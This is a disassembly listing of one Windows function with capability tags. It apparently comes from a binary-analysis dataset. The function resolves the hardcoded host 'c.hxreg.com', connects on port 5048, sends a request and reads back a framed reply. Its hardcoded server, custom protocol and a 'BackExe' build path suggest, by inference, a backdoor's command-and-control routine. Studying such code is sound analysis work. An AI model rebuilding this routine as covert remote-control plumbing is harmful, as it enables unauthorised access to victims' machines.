Function at 0x403800
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x403991
push ebx
push ebp
push esi
push edi
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4039c4
push str.c.hxreg.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4039da
mov ecx, dword [eax + 0xc]
push 0x13b8
mov edx, dword [ecx]
mov esi, dword [edx]
mov word [esp + 0x18], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x16], ax
lea eax, [esp + 0x14]
push 0x10
push eax
push ebp
mov dword [esp + 0x24], esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x4039f0
mov esi, dword [esp + 0x1c0]
mov ecx, dword [esp + 0x1bc]
push esi
push ecx
push ebp
call fcn.004036d0
add esp, 0xc
cmp eax, esi
jne 0x403a03
mov ebx, dword [esp + 0x1c4]
test ebx, ebx
je 0x403a89
mov esi, dword [esp + 0x1c8]
test esi, esi
je 0x403a89
mov ecx, esi
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push 0x21
push ebx
push ebp
rep stosb byte es:[edi], al
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jl 0x403a11
je 0x403a24
cmp eax, 0x21
jne 0x403a35
mov eax, dword [ebx + 8]
mov ecx, dword [esp + 0x1b8]
cmp eax, ecx
jne 0x403a46
mov eax, dword [ebx + 0xc]
test eax, eax
jne 0x403a57
mov eax, dword [ebx + 0x1c]
lea ecx, [eax + 0x20]
cmp ecx, esi
ja 0x403a64
lea esi, [eax - 1]
mov edi, 1
test esi, esi
je 0x40397b
push 0
lea ecx, [ebx + edi + 0x20]
push esi
push ecx
push ebp
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x403950
add edi, eax
sub esi, eax
jne 0x403935
jmp 0x40397b
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
jne 0x403963
push 0x2c2
push 0x4d4
jmp 0x40396f
push 0x2c6
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.00402d00
add esp, 0xc
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x1cc]
test eax, eax
je 0x403a89
mov dword [eax], edi
jmp 0x403a89
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x274
push eax
call fcn.00402d00
add esp, 0xc
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x275
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.00402d00
add esp, 0xc
add esp, 0x1a4
ret
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x27d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
jmp 0x403a7d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x282
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
jmp 0x403a7d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x28c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
jmp 0x403a7d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x292
push 0x58
jmp 0x403a7d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x29c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
jmp 0x403a7d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2a0
push 0x4d4
jmp 0x403a7d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2a4
push 0x54f
jmp 0x403a7d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2a8
push 0x54f
jmp 0x403a7d
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2ad
push eax
jmp 0x403a7d
mov eax, dword [esp + 0x1cc]
test eax, eax
je 0x403a71
mov dword [eax], ecx
push str.D:WorkHPServiceShangHaiBackExeStdAfx.cpp
push 0x2b5
push 0x7a
call fcn.00402d00
add esp, 0xc
mov dword [esp + 0x10], eax
cmp ebp, 0xffffffff
je 0x403a95
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a4
ret